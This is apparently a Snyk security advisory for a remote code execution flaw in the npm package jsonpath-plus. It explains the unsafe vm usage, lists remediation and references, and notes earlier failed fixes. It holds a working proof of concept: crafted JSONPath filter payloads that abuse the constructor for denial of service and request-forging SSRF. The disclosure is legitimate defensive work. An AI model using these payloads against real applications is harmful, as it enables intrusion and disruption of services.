SNYK-JS-JSONPATHPLUS-7945884
## Overview [jsonpath-plus](https://www.npmjs.org/package/jsonpath-plus) is an A JS implementation of JSONPath with some additional operators Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of `vm` in Node. **Note:** There were several attempts to fix it in versions [10.0.0-10.1.0](https://github.com/JSONPath-Plus/JSONPath/compare/v9.0.0...v10.1.0) but it could still be exploited using [different payloads](https://github.com/JSONPath-Plus/JSONPath/issues/226). ## PoC ```js const { JSONPath } = require("jsonpath-plus"); const pathDoS = "$[?(con = constructor; dp = con.defineProperty; gopd = con.getOwnPropertyDescriptor; f = gopd(con, 'entries').value; alt = gopd(con.getPrototypeOf(f), 'apply'); dp(con.getPrototypeOf(_$_root.body), 'toString', alt);)]"; const pathSsrf = "$[?(con = constructor; dp = con.defineProperty; dp(con.prototype, 'referrer', _$_root.referrer); dp(con.prototype, 'method', _$_root.method); dp(con.prototype, 'body', _$_root.body);)]"; const result = JSONPath({ json: { referrer: { value: "http://authorized.com", writable: true, }, method: { value: "POST", writable: true, }, body: { value: "Hello, World!", writable: true, }, }, path: pathDoS, }); result.toString(); //DoS //fetch("http://localhost:3000"); // ssrf with possible privilege escalation via lateral movement ``` ## Remediation Upgrade `jsonpath-plus` to version 10.2.0 or higher. ## References - [GitHub Commit](https://github.com/JSONPath-Plus/JSONPath/commit/73ad72e5ee788d8287dea6e8283a3f16f63c9eb8) - [GitHub Diff](https://github.com/JSONPath-Plus/JSONPath/compare/v9.0.0...v10.1.0) - [GitHub Issue](https://github.com/JSONPath-Plus/JSONPath/issues/226)
Risk Scores
Affected Products
| Vendor | Product | Versions |
|---|---|---|
| 0 |
Timeline
- Sep 10, 2024 CVE Updated
- Oct 10, 2024 CVE Published
References
- https://security.snyk.io/vuln/SNYK-JS-JSONPATHPLUS-7945884 advisory
- https://learn.snyk.io/lesson/malicious-code-injection/ technical
- https://www.npmjs.org/package/jsonpath-plus technical
- https://github.com/JSONPath-Plus/JSONPath/compare/v9.0.0...v10.1.0 technical
- https://github.com/JSONPath-Plus/JSONPath/issues/226 issue
- https://github.com/JSONPath-Plus/JSONPath/commit/73ad72e5ee788d8287dea6e8283a3f16f63c9eb8 patch
- http://authorized.com technical
- http://localhost:3000 technical